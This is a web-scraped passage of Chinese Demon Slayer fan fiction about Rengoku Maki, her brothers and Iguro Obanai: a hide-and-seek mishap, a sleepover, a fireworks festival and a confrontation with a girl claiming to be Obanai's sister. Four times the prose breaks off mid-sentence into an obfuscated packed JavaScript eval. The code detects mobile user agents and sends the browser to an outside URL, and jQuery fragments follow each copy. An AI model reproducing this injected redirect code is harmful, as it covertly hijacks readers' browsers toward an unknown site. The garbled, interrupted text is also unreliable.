真希想叫人一起离开,余光中看见一抹亮眼的发丝,反手迅速合上。
好危险!差点被发现了,他们困在这里了吗?
紧张地抵住入口,真希努力辨别小芭内的神情,可太暗了,她看不清。
背后隐约有脚步声,踱步两圈,似乎是在判断位置。
紧接着是杏寿郎标志性的声音:“已经看见你了,真希,出来吧!”
还是被发现了,不过她出去的话,伊黑哥哥应该就安全了。
真希揉了揉脸,做出无辜无害的样子,打开足够她通过的大小,一本正经拉长音调:“啊,被发现了……”
没想到还没表演完,身后的人先一步走了出去。
真希急忙跟上:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963072|193099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伊黑哥哥!”
两人一起出来了,小芭内异常低沉。
回到蓝天下,空气都顺畅不少,真希在她的基地名单上给这个地方画上叉叉。
杏寿郎给她拍落沾到的灰尘:“能找到这种地方,真不愧是真希,唔姆!”
真希却没有回应,看向神情阴郁的小芭内,一时间不知道该说些什么。
他头发上有一小块白色网状物体,似乎是蜘蛛网,脏兮兮的,应该是在里面蹭到了,真希更愧疚了。
她上前几步,踮脚伸手,想帮对方拿下来。
“伊黑哥哥,头发上……”
小芭内看着越来越近的手指,眼前骤然闪过某双尖锐指甲恶趣味的挑起他的眼皮,觊觎他的血肉……
‘啪’的一声。
真希的手被重重打开,几人同时一愣。
小芭内回过神来:“抱歉……”
来不及分辨,这几个字里背后的情绪,他一扭头,飞快地跑远了。
真希茫然地捂住红起来的手背:“伊黑哥哥怎么了?”
“我也不清楚,”杏寿郎接过她的手检查了一番,安慰道:“没关系,晚点我们一起去问问。”
另一边,千寿郎蹲着等了半天,懵圈的看着风一般跑过的人。
……
和好询问原因的过程,没有如真希所愿的那样顺利,小芭内见到他们就躲,或是搂着镝丸,安静地发呆。
休息日结束后的几天,僵硬的气氛越来越深,连带上课时,把古原老师都折磨得没办法,一脸菜色破例放了她出去。
空气沉重,看了眼空出来的位置,瑠火放下筷子:“你们发生什么了?”
杏寿郎的表情都有几分难以言喻。
真希放过了快被戳成年糕的米饭,垂着脑袋,眼中尽是茫然无措。
说起这个,她也不知道问题出在哪里,对着香甜可口的饭菜食欲全无,说了句吃饱了,起身离开。
千寿郎和真希之间一惯容易互相影响,现下也没了心情,整个人蔫下来。
真希向来喜怒言行于色的,不高兴的时候也不是会独自反思自己的类型,难得见她闷闷不乐。
真希不明白,他们不就是普通的玩了个游戏吗?之前她也玩过无数次,印象中哥哥们很少生气,她没有过这样的经验。
……
门外,这个家的女主人,又来给他送晚饭了。
“伊黑,晚饭我放在门口,饿了记得吃。”
纤秀的影子弯腰放下东西,停顿片刻,离开了。
小芭内没有出声,他想起上次,瑠火夫人温柔地帮他丈量尺寸的双手,如水的目光里有几分心疼。
那双目光一变,变成如同一个模子里刻出来的真希,满眼错愕。
浑身都是不谙世事的天真。
握起仿佛还在刺痛的手掌,小芭内自言自语道:“……还是去道个歉吧。”
11.失眠?
冥思苦想好几天,真希终于想起来,或许应该问问将小芭内带回来的父亲。
她避开两个哥哥,一个人找到槙寿郎。
“爸爸。”真希张开双手。
槙寿郎轻松将她抱起来:“久违的撒娇吗?”
“不是,”真希否认,神神秘秘凑到他耳边:“我想跟爸爸说一点悄悄话,我们进去说吧。”
“真希长大了,有秘密了。”槙寿郎欣慰地点了下头,没高兴几秒,突然又想到什么,脸色一变:“难道是恋爱的烦恼?”
“什么?”真希急着问他小芭内的事情,对莫名扯到的话题没有兴趣,抱着他的脖子催促道:“快进去啦。”
“好好好。”槙寿郎抱着女儿进了屋。
真希想了想,说出那天捉迷藏发生的事情,还有对方最近的反应。
槙寿郎沉吟片刻,对小芭内应激的反应,大致有了猜测。
长期生活在那样的环境里,又亲眼目睹了恶鬼杀人,把人带回来的一部分原因,也是希望他可以开始新的生活,不仅是物理意义上,还有精神上。
思及至此,槙寿郎面对女儿不解的目光,问道:“真希觉得生气吗?”
她立刻摇头,过了两秒又轻轻点了下头:“有一点点生气,也没有生气。”
在真希的记忆里,几乎没有被打过,最重要的是!伊黑哥哥还不理她了,她有一点生气。
但是……真希还是想和他们好好相处,找不到好办法,只好求助外力。
一家人都是喜欢正面沟通的类型,能够解决的问题都不会留到第二天。
这次拖了这么久,她快连觉都睡不好了。
真希板起脸,环起手臂,摆出公事公办的表情:“我要知道,我该不该生气。”
槙寿郎笑了笑:“从我这里知道?”
真希严肃地点点头,她要计划下一步的行动。
“伊黑哥哥呢……以前有坏人对他做了很多坏事。”槙寿郎给女儿顺着毛,顿了顿,过了几秒才继续开口:“或许只是想到不开心的事情了。”
真希转眼紧张起来,眼中盛满担忧:“坏人都被赶跑了吗?”
“当然,已经被爸爸赶跑了!”
“不会再来了吗?”
“不会。”槙寿郎肯定道。
真希握紧小手,目光坚定,仿佛是下定了面对的决心:“坏人是怎么对伊黑哥哥的?”
“抱歉,我只能告诉你这些,”槙寿郎带着歉意,认真地回答:“具体的能不能让你知道,要由伊黑哥哥来决定。”
“为什么?”
“每个人都有秘密,擅自告诉其他人是很不礼貌的行为,就算是真希也不行。”
“小气!”真希哼的一声别过头,心里下定了决心,这次一定要成为朋友。
她想到个好主意,举起手:“爸爸,可以让伊黑哥哥跟我们一起上课吗?”
“我没意见,但是要征求哥哥的同意哦。”
真希思考片刻,郑重点头,大义禀然拍拍胸脯:“就交给我吧。”
告别父亲后,她决定先去找千寿郎商量对策,没有几步,迎面遇见走过来的小芭内。
“伊黑哥哥!”真希跑上前,怕一不小心又让人跑了。
小芭内有几分不自在,低低应了声。
眼眶下的黑眼圈有加重的趋势,看起来状态不是很好。
真希又想起刚才父亲说过的话,脑子里回荡着一句,遇到过坏人……遇到过坏人……
是被坏人吓到了,所以晚上睡不着吗?
她猛地抓住小芭内的手,眼泪汪汪开口:“没关系伊黑哥哥,睡不着的话我会想办法的!”
连续零交流的尴尬似乎无影无踪,说完,小小的身影在院中转了两圈,一溜烟往门外跑去了。
留下没来得及开口的小芭内,茫然呆在原地,是不是热情过头了?
瑠火对站在原地愣神的人开口:“伊黑,有时间跟我过来一下吗?”
“瑠火夫人。”小芭内礼貌应答,乖乖跟上去。
“昨天的晚饭没吃?饿不饿?”
“没事,麻烦您了。”面对这双温柔注视着自己的眼睛,小芭内有些赫然,辜负了瑠火夫人的心意,总有一种会遭天谴的感觉。
“这样啊,饿了就告诉我,”瑠火停住,忍不住笑道:“有需要找杏寿郎他们也行,虽然他们总是吵吵闹闹的,但和你一样,都是好孩子。”
短暂的沉默后,他才接下一个字:“……好。”
小芭内想了想,提醒道:“刚才真希跑出去了。”
“没关系,她会知道回来的。”瑠火没放在心上,拿出一件米白色衣服,上面简单缀了一点波纹状花样。
“试试这个,不过上次没有量到精确的尺寸,不知道能不能合适。”
“……给我的吗?”小芭内受宠若惊看向她手中的衣服。
“是啊,”瑠火道,接下来的语气带了些说教的意味:“这么瘦还不好好吃饭,外面大概是买不到合适的衣服,我也很久没有做过了,不知道手艺有没有退步。”
如同无可奈何纵容着自己孩子的母亲。
小芭内攥紧了手中柔软的布料,他早忘了有母亲关心的感觉。
“伊黑?伊黑?”瑠火伸手在他眼前挥了挥。
“你去试穿一下,看看还需不需要调整,晚上就可以用上了,”她的嘴边挂着一抹笑意:“还是说,要我亲手帮你换?”
“不……不用了,谢谢。”小芭内涨红了脸,抱着衣服逃似的跑走了。
明明他觉得已经很完美了,在他心里再没有比这件更珍贵的衣服了。
最后还是被拉回去仔细量了尺寸。
真希到傍晚时刻才回来,而且白天还好好的人,不知道为什么突然开始躲躲闪闪。
她神神秘秘藏好拿回来的秘密武器,让来找她的小芭内吃了个闭门羹。
从缝隙里看见略带失落离开的背影,真希暗暗道了个歉。
晚上
昏暗的房间内,呼吸声轻缓均匀。
小白蛇立起身子,不安地扭动。
两个影子出现在门后,接着,门被轻轻拉开,再合上。
被窝中的人丝毫没有察觉,镝丸吐着信子,发出嘶嘶声。
“嘘,镝丸,不要说话。”女孩竖起一根手指抵住嘴唇,另一只手摸了摸小白蛇头顶上微凉的鳞片。
屋子里彻底静下来。
“这不是睡着了吗?判断失误?”另一个男孩的气声。
“奇怪?那我们……”
小芭内猛地睁开眼睛,骤然僵住,怎么有一种被包围的感觉?
身边明确有两道不同的气息,但是镝丸没有发出警告。
他定了定神,缓缓转动视线,两双眼睛一左一右正盯着他。
“……”
这两个祖宗大晚上的扮鬼吗?
八只眼睛僵持了一会儿。
“你把人吵醒了,真希。”千寿郎轻声说。
“我……我才没有。”真希有几分慌乱,但死不承认。
小芭内无奈地爬起来:“你们……”跑这里来干嘛。
刚说两个字,被两只手同时捂住嘴,薄薄的绷带挡不住重叠的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968501|193099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温热触感。
“嘘,伊黑哥哥小声一点,会被妈妈发现的。”真希紧张的看了看门口。
千寿郎忙不迭点头。
他配合的点了下头,成功重获新鲜空气。
小芭内(气声):“你们怎么到这里来了?”
千寿郎(气声):“真希说你失眠。”
真希(气声):“怕你睡不着。”
……所以这就是他被吵醒的理由吗?小芭内很无力。
原因真希没有跟其他人提过,她记着父亲的教导,千寿郎就是单纯被她拉来当‘共犯’的。
现下,真希也不管小芭内到底是不是失眠,兴致勃勃打开她认为的法宝——一本看起来有年份了的书。
小芭内:这是什么。
真希:书。
很好,说了像没说。
小芭内:……做什么的?
千寿郎:睡前故事。
真希表示肯定,她还记得迷路那天,听耀哉哥哥念这个睡得很香,毫无杂念的那种香。
说到失眠,她不由得想起来这个,特地跑去产屋敷宅拿的,虽然回来得有一点点晚。
真希认真地眼睛闪起小星星,小芭内躺下,被迫答应了。
两人趴在两侧,翘着腿,一人一只小手搭在被子上拍着。
真希翻开第一页,不出意外的,她高估了自己,昏暗的灯加上晦涩的字,哪里是她能够念清楚的。
隔着中间的小芭内,两人低声交流起来,老学究似的眯起眼睛,摇摇晃晃。
接着因为一个字的读音争论起来。
小芭内:……
反正也记不清最后是怎么结束的,到了早上三人一蛇在一个被窝里。
小芭内最先清醒,小孩子体热,像火炉似的把他围在中间,被子里的温度从未有过的暖。
说着不能被发现,结果最后还是没有回去。
……动不了,完全没有要醒的迹象,小芭内对不在场的杏寿郎产生了敬佩之情,或许有兄弟姐妹就是这么一回事。
他左右看了看,两只带着婴儿肥的脸蛋毫无防备的趴在两侧,真希甚至还枕着那本莫名其妙的书。
算了,睡着的时候,还是挺可爱的。
他睁开眼睛的时候,天蒙蒙亮。
光逐渐变成金色,外面杏寿郎的训练的声音已经响了很久,小芭内觉得再不活动一下,整个身体都要麻了。
他试着在不吵醒两人的情况下,把自己抽出来。
左侧黄色的脑袋动了动,千寿郎揉揉眼睛坐起来,与奇怪姿势的小芭内大眼瞪小眼。
然后他终于记起了现在的状况,脸色微红,他们怎么睡着的来着,好像是念着念着……真的是书的魔力吗?
为什么他完全忘记内容了。
“早上好,”千寿郎尴尬的正襟危坐起来,推了推还在睡的妹妹:“快起来了,真希!”
真希睡眼朦胧挂在千寿郎身上,也没看清人就开始打招呼:“早,千寿郎,哥哥。”
“……早。”
声音好像不对?真希迷茫看过去,头发颜色也不对。
不对,这不是她大哥!真希彻底清醒了。
想起来昨天晚上的事情,回过神来,感觉有点丢人是怎么回事?
她呆了一会儿,松开抓住千寿郎的手,假装什么都没发生过,重新开口:“伊黑哥哥早上好。”
然后径直走向门口,鞠了个躬:“伊黑哥哥再见。”
“真希,千寿郎,原来你们在这。”瑠火的声音在身后响起。
两人同时一僵,迟迟不敢转头。
12.花火
兵荒马乱解释一番,真希和千寿郎排排站好,等待母亲的审判。
被挡在后面的小芭内,默默上前,站在最边上,甚至仔细比对了位置,排成分毫不差的一条直线。
脖子上的小白蛇探头探脑,尾巴尖尖一甩,竖起的身体微微颤抖,和三人保持一致。
瑠火目光一一扫过几人,最终只淡淡说了句:“吃饭了。”
逃过一劫,兄妹俩松了口气,动作出奇一致。
真希不敢再磨蹭,匆匆道别:“伊黑哥哥,回头见。”
她要快点去洗漱干净,不然要迟到了。
准时坐在课堂桌前,真希一拍脑袋,终于想起来,忘记和伊黑哥哥说上课的事情了。
坐立难安熬到结束,她没来得及等千寿郎一起,先一步窜了出去。
……
小芭内抓住机会,总算把酝酿了好几天的道歉说出口。
“没关系。”真希差不多要忘记这件事,原谅得干脆利落,转着闪动的眼睛问他要不要一起去上课。
“我吗?”黑发少年略显犹豫,踌躇半晌,摇摇头:“谢谢,但我已经受到足够多的照顾了,不想再麻烦你们了。”
真希不死心的继续争取,虽然她是不愿意总要坐在狭小的空间内,但还是把能想到的好处,手舞足蹈说了个遍。
只是小芭内似乎异常坚决:“不用了,等过几天我就……”
打算先一步离开的话没能说出口,被不知道是路过还是找来的杏寿郎打断。
此人先是熟练地在真希头上揉了揉,开启日常夸赞:“唔!我听见了,学会了关心他人是好事!”
一双炯炯有神的大眼睛看向小芭内。
被看的人顿时有种不祥的预感。
“我觉得是个好主意,伊黑,就一起去吧!”
“不,我……”
“别害羞,”杏寿郎结结实实拍打着小芭内的肩膀,露出金灿灿的笑容:“正好帮我看着点他们!”
真希很想配合大哥,但这个说法让她实在难以认同,为什么说得她一定会捣蛋似的。
小女孩挥着拳头抗议。
杏寿郎从小就展露出超出同龄人的力气,此刻看也不看就制住了冲上来的人。
随手抬起一只手按住真希的额头,任凭她怎么伸长手臂,也够不到近在咫尺的人,杏寿郎面色自若,时不时比划另一只手和小芭内交谈。
“你平时太安静了!适当学习和锻炼有益于身心健康,明天我叫你一起吧!”
“噢、哦……”等等,他答应了什么?小芭内从张牙舞爪的真希身上收回视线。
“唔姆!那就说好了!”杏寿郎看起来十分高兴,脸上的笑容愈发晃眼。
小芭内眯了眯眼睛。
解决完这边,该解决不安分的妹妹了。
杏寿郎顶着纹丝不动的神情,撤开手掌,女孩重心不稳,向前踉跄,他蜷起拇指和中指,不轻不重在真希额头上弹了一下。
“好疼!”真希站稳了捂住额头,看向唯一在场的第三人,就差把快帮她几个大字,戳在控诉的眼神中。
小芭内:“……”
杏寿郎:“伊黑答应和你们一起上课了,真是太好了呢,真希!”
“太好了!真不愧是哥哥!”真希欢呼,竖起大拇指,松开手后,光洁的额头上连一丝红印都没有。
哥哥才舍不得打她呢。
真希笑眯眯道:“请多指教,伊黑哥哥。”
面对我行我素,不听人说话的一家人,不能坚定说出自己想法的小芭内只能被迫妥协。
伊黑小芭内暂时在炼狱家安顿下来。
……
窗外树木郁郁葱葱,灼热的阳光穿梭其中,投下斑驳树影,蝉鸣不绝。
真希趴在微凉的木桌上分散热度,昏昏欲睡。
小白蛇似乎有变成胖白蛇的趋势,正缠在她小臂上,充当降温神器。
自从大哥拉上伊黑哥哥训练后,他们也顺理成章加入了,于是真希噩梦般的生活刚刚开始。
古板的小老头换成了一位青年的教学者,似乎和槙寿郎相熟。
内容越发晦涩难懂起来,甚至包括急救知识和人体构造。
真希试了试高度,认真地点点头,嗯,用来睡觉正好。
小芭内一脸无奈向镝丸发出信号,小白蛇收紧力道以示提醒,女孩无意识靠近了些散发凉意的生物,小白蛇立即凑上去用脑袋蹭了蹭。
小芭内:“……”
他随手揉了个小纸团,精准弹在两颗凑在一起的脑袋上。
镝丸一抖,松开缠住的手臂,回到小芭内身上。
真希气呼呼抬头,不用想就知道怎么回事,要训练还要上课,还有三天一次,只有她要学的插花,缝衣服的课,甚至还有来自大哥的爱的补习。
她都没有时间玩了,要变成干巴真希了,左右瞪了一眼,不情不愿坐起身子。
千寿郎小脸上写满无辜,躲在竖起的书本后面。
真希不是没有抗议过,不管是插花还是绣花都能做好的大哥先不说,连伊黑哥哥学了几次都能出师了,还是只剩下了她。
那花花长在土里就很好啊,干嘛要把它们插在瓶子里。
在不时紧盯的目光下,她勉强端坐着,挨到结束。
扑通一声,真希又趴了回去,不想再动。
两秒后,身体腾空,视线里是千寿郎侧头放大的脸。
真希看过去,男孩金红色的双眸立刻抬起,报告道:“妹妹醒了。”
“那就走吧。”小芭内声音很低,带着点哑,连带着散发出来的温度也要比其他人低半分。
“放我下来!”真希抗议,为什么要学妈妈和大哥揪她的衣领,这样真的很不好欸。
“松手你就要跑掉了吧。”小芭内充耳不闻,拎着她往外走。
真希收起跃跃欲试的脚:“没……没有啊。”
她的音量渐渐降下去:“我又跑不过你们三个……”
“什么?”
“什么都没有!”
等小芭内领着两人过去,出乎意料的杏寿郎并没有在训练,父子俩正相谈甚欢。
真希敏锐察觉到有好事,试着双脚一蹬,顺利降落。
她迫不及待飞奔过去:“爸爸,哥哥,你们在说什么?”
“炼狱大人。”无论过了多久,小芭内见到槙寿郎和瑠火时,总是恭敬有礼。
“是伊黑啊,好久不见,脸色看起来好多了!”
“多亏您和夫人的照顾。”
真希扯扯父亲的衣服,还没回答她的问题呢。
槙寿郎弯腰把人抱起来,哈哈笑了两声:“今天镇上要举行花火大会,你们想去吗?”
“想去!”真希第一个响应,朝对面的两人递眼色。
小芭内没有发表意见。
千寿郎看看哥哥,又看看妹妹和父亲,似乎是想说什么,没能说出口,眉头向下弯了两度。
“嗯!难得这么热闹,大家就一起去吧。”
杏寿郎响亮的一声,另外两人立刻有了反应。
“那……那我也要去。”
“去一下……也不是不行。”
槙寿郎有一瞬间的凝滞,他大家长的位置岌岌可危。
……
真希从花花绿绿的衣丛里千挑万选,决定了要换的浴衣,瑠火在她身后梳理不肯剪的宝贝头发。
“哥哥,”真希闲不住,朝三人组招招手:“到里面来。”
见三人齐齐走进来,她不知道又憋了什么主意,美美一笑,指指面前的位置:“大哥,过来一下。”
“怎么了,真希。”嘴上虽然问着,脚下却很诚实地走上去。
“转身,坐下。”
他照做。
“我来帮你梳头发。”真希叠起袖口,解开他绑在后面的小啾啾,试图压下炸开的头发。
“那就拜托你了!”杏寿郎不甚在意,任她在毛茸茸的脑袋上捣鼓。
几人有一搭没一搭的聊着,才发现小芭内是几人里面最大的,明明有时候秀气得像女孩子。
“好啦!”真希拍拍大哥的肩膀,将注意力吸引过来,欣赏她的手艺。
杏寿郎‘唔姆’一声,配合地转头,满头的小辫子随着动作晃动。
做坏事的时候速度就是快,一会儿的功夫,就把人变成了脏辫大美人。
“噗——”年纪小的千寿郎最先憋不住笑,急忙捂住嘴。
真希头上盘发的手一抖,扯到了头皮,她皱着脸痛呼一声。
“抱歉,”瑠火道歉,迅速收了尾,语气中掩不住笑意:“好了,不要捉弄哥哥。”
“不是捉弄。”真希反驳,她编得多好啊,伊黑哥哥的头发应该更好编吧。
含着半框眼泪的红眼睛,幽幽转向抖着肩膀忍笑的小芭内,镝丸张开嘴,没忍住咬了主人一口。
小芭内摸着手上的红印,后知后觉与真希对上视线。
……
真希的大业没能如愿,四个人被瑠火收拾得整整齐齐出了门。
杏寿郎可怜的头发,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975601|193099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
费了半天劲,总算恢复原状。
由鎹鸦带路,只有他们四个去。
问起父母为什么不去,槙寿郎有些闪躲:“偶尔我们也要享受一下二人世界。”
有杏寿郎和小芭内看着,离鬼杀队总部也不远,让几个孩子自己去也不会没什么问题。
到了地方,灯火通明,人头攒动,叫卖声和食物的香气混合在一起。
真希第一次被允许夜晚出门,被眼前热火朝天的场景震惊到。
“要紧紧抓住我的手!”杏寿郎提醒道。
千寿郎用力握住哥哥手指,贴在他身侧,紧张地打量周围。
“伊黑,真希就麻烦你了!”
孩子里的大人交换眼神,郑重点点头。
要看住真希,并不容易,除非把人栓在腰上或是拎在手里。
她闷了这么多天,出来就像匹脱缰的野马,小芭内不敢松开手,没过多久就被带着和另外两人在人群中走散。
“喂,真希,别乱跑,看不见杏寿郎他们了。”他的声音淹没在嘈杂中。
但真希还是听到了,她停下脚步,指指头顶,小手拍拍大手,安慰道:“伊黑哥哥别怕,鎹鸦会带我们找到哥哥他们的。”
……小芭内看起来有点一言难尽。
在炼狱家的这些日子,关于鬼和鬼杀队,包括鎹鸦在内,他自然是有了一定的了解。
和杏寿郎分散后,每隔几分钟,鎹鸦都会从头顶上飞过,大概是在确认两边的位置。
即便是这样,他们要是再分散也会很难办吧。
“跑太快了,他们会找不到。”小芭内将她拉回身前。
“那我们去找他们就好了,而且不是还有伊黑哥哥在嘛,没关系。”真希说得理所当然,视线转了一圈,选定了目标:“我们去看看那个!”
小拇指大小的金鱼在宽大的水池里游动。
看到熟悉的金红配色,正悠然摆动绽放的鱼尾,真希连忙拉拉旁边的人:“这条,有点像哥哥。”
“哪里?”小芭内在她旁边蹲下。
真希又指了指。
“小朋友,想把它带回家吗?”老板看准机会,笑眯眯摊开五颜六色的纸网。
看着立牌上的数字,真希摸摸小钱包,还好她有先见之明。
他们捞了两条小金鱼,继续沿着街道走走停停,手上的东西逐渐变多,一时松懈,被人撞了一下,对方的身影转眼间就消失在视线中。
真希只听见有人慌张的叫了她一声,举着棉花糖,呆在原地。
她被人流推着不知又撞到了谁,苦着脸就要道歉,却只看见了匆匆离开的黑色发尾。
“真希!”小芭内追上来,松了口气:“真是的……”
真希主动牵上他的手,眼睛还在看着那个人离开的方向,愣愣道:“对不起。”
以为女孩吓到了,小芭内终究没能狠下心来说教,叹了口气:“算了,走吧……”
他猛地抬头,嘴里的话戛然而止。
好像有人在看他们,小芭内侧身挡住真希。
“伊黑哥哥,我们去找大哥他们吧。”真希蔫蔫道,她有点累了,这双木屐好难穿。
小芭内垂眸,那股视线消失了,是错觉吗?
他点点头。
……
四人是在烟火观看点汇合的,杏寿郎和千寿郎占好了位置。
千寿郎伸出藏在背后的手,献宝似的举起透明袋子,里面有两条黑色的小金鱼,甩着尾巴在狭窄的空间里游动。
“这是给你们的礼物,是不是很像?”
真希不服输将手里的东西往大哥怀里一塞,拿起他们捞的:“我这个更像你和哥哥!颜色一样。”
“我这个眼睛颜色是一样的。”千寿郎轻声争辩。
两人蹲在地上认真研究起来。
“辛苦了。”杏寿郎放轻了音调,眼神柔和看着地上的两人。
“没什么。”
“有看到什么想要的吗?”
“炼狱杏寿郎。”
“嗯?”
“没记错的话,我似乎比你大。”
“哈哈哈哈,不要在意这种细节!”
夜空像是一块巨大的黑色画布,最先落下第一笔的烟火,炸开黄红的色彩,打断了奇怪的争论。
小芭内和杏寿郎守在两人身后望着绚丽的花火,绷带下的嘴角与眉眼弯了弯。
片刻后,异色双眸疑惑地扫过人群。
杏寿郎有所察觉:“伊黑?”
“……看烟花。”
13.家人
“姐姐?”
约摸十四五岁的少女挽着温婉的发髻,双眼柔柔弯起,含着笑意蹲下点头,满目真诚。
真希还是有些迟疑,小金鱼的食物用完了,哥哥们都在忙,她就独自出来跑腿了。
正在回家的路上,眼前的少女突然出现拦住了她,问她是否见过一个黑发异瞳的男生,称自己是他的姐姐。
特征描述得过于明显,一听就知道是在说谁。
可无论是爸爸还是伊黑哥哥本人,都没有提过关于家人的事情。
女孩看起来再和善,真希也只是警惕地握紧手中的鱼食,伊黑哥哥已经是她的哥哥了,谁想抢都不行。
“对不起,请让开一下,我要回家了。”真希不想回答,目不斜视,抬脚。
她往左,对方也往左,她往右,对方也往右。
“这位姐姐,麻烦离我远一点。”真希耐着性子,语气却在加重,是生气的前兆。
谁知面前的人骤然红了眼眶,一副泫然欲泣的模样,抽咽着开口:“抱……抱歉,我只是……只是想知道他过得怎么样。”
真希僵在原地,有点傻眼,难道这个姐姐真的不是坏人?
她手足无措憋出一句:“你……你别哭啊。”
女孩不听,自顾自抹起了眼泪。
真希四处望了望,目之所及,一个人影都看不到,她后退一步,一番挣扎后,终于做出决定。
她在口袋里摸索了一遍,发现今天没有带手帕,尴尬地缩起空荡荡的手指:“那个……我……没有见过你说的人。”
女孩有一瞬间的停顿,像流畅播放的画面短暂的卡了壳。
真希沉浸在不太熟练的认真版说谎中,并未察觉。
只听见浅浅的哀叹后,失落的女声缓缓道:“这样啊,打扰你了。”
真希悄悄松了口气,但她依旧没来得及逃跑,那道声音继续响起。
“之前,花火大会上……或许是我看错了吧。”
“作为家人,真的很担心他现在的状况啊,谢谢你,小妹妹,不过我会一直找下去的。”女生笑得勉强,语调哀伤微弱。
她这样说着,脚下却没有让开道路的意思。
等同于被拆穿的说谎,真希本就站立难安,一再示弱下,她心软了。
如果是真的,分开后家人会担心也是理所当然吧?就像她和哥哥们,还有爸爸妈妈。
……
在路上的交谈中,她已经知道少女名叫优子。
从她冰凉的手掌中,抽回右手,真希抬头提醒道:“进去后都要听我的,不能乱跑。”
优子顺从地点点头。
看着近在眼前的家门,真希又犹豫起来,她可以不打招呼就把陌生人带回家吗?
已经到这里了,大哥他们都在,大概没关系吧,她深吸一口气,走了进去。
“我回来了!”
入口没有人回应在意料之中,伊黑哥哥应该还在训练场。
“这边。”她回头看了看后面的优子有没有跟上,领着人继续往里走。
不料熟悉的声音先在身后响起:“真希,去了好久,鱼食买回来了吗?”
小芭内一顿:“这位是?”
“伊黑哥哥!”真希立刻调转方向,朝他的位置跑过去,展示满满登登的小袋子:“我买了很多,小鱼不会饿着了。”
“嗯,真了不起。”小芭内摸摸她晃来晃去的脑袋。
顺利要到夸奖后,真希想起她带回来的优子:“我在路上遇到一个姐姐,她说是……”
“好久不见,小芭内。”
背对着他们的优子转过身,打断了真希的介绍。
声音依旧温柔可亲,语气不似初见时柔弱,像是压抑着某种情绪。
“你是……”
小芭内在吐出两个音节后,在真希头上的手瞬间紧绷,借着脱力垂下。
“看来还没有高兴得把家人的脸都忘了。”少女弯弯的眉眼舒展开,露出毫无笑意的漆黑眼珠,嘴角扬着,将脸割裂成两半。
“伊黑哥哥?”他的脸色不对劲,真希几乎是下意识护在前面,才转头去看身后的人。
以她的身板,能挡住的地方实在有限。
优子的目光径直穿过她,充斥着怨恨、不满的异样眼神,几乎没有阻隔的投向小芭内。
“明明是杀人凶手,过得还真是开心啊,凭什么你这样的人,可以穿上体面的衣服,露出幸福的笑容,用那双手触碰那女孩的头发时,不怕手上的血污弄脏了她吗?!”
优子越说越激动,步步逼近。
太刺眼了,大家都死了,为什么这个人反而过得更好了?
她颤抖的嘴唇微张,像是要再度开口。
“闭嘴!”真希脑子里乱糟糟的,不明白刚才还好好的人怎么突然间判若两人,只是那些话,绝对不是家人之间会说的。
她张开双臂,像要把能挡住的面积扩大到极限,眼中仿佛有烈火燃起,胸口起伏得厉害,被气得不知道从哪句话开始反驳,张嘴是记忆中从未有过的声音:“滚出去!从我家滚出去!”
拉高音量长长喊出一句话,灌入的空气撕扯着嗓子,真希控制不住咳嗽起来,身体跟着微微颤抖。
“真希!”小芭内拍着背给她顺气,压下情绪安慰道:“冷静点,我……没关系。”
那些话……他早就听过一遍了,他无法否认自己是背负罪孽的人,太贪心了,会给这家人带来麻烦……
“才不是没关系!”真希脸色通红,听见这句话的生气程度完全不亚于刚才那段不堪入耳的话。
“伊黑哥哥温柔又聪明,总是在照顾我们,保护我们,训练和学习也很努力!把镝丸也养得很好!还有……还有很多……我很喜欢伊黑哥哥,哥哥们也一样,绝对要幸福才行……”
她语无伦次,越说越急,逐渐嘶哑的声音还在喃喃说着‘不是没关系’,湿润的酸意在眼眶里打转。
小芭内不断说着‘我知道了’,手上安抚的动作一刻也不敢停,混杂的思绪来不及细想,第一次见到她气成这样,哪里还有功夫顾及旁人。
红黑花边的衣角还停留在视野里,真希猛地抬头,赤热的双眸里又剩下坚决。
她握紧拳头,一步一步走到优子面前,扬起头颅,直面那双不甘、愤懑的眼睛,展示绝对保护的姿态。
真希无师自通,学会了上位者带着压迫感的语气:“是我搞错了,我的家,怎么会有姐姐你的家人,请你立刻离开。”
会发生这种事都是她的错,让伊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 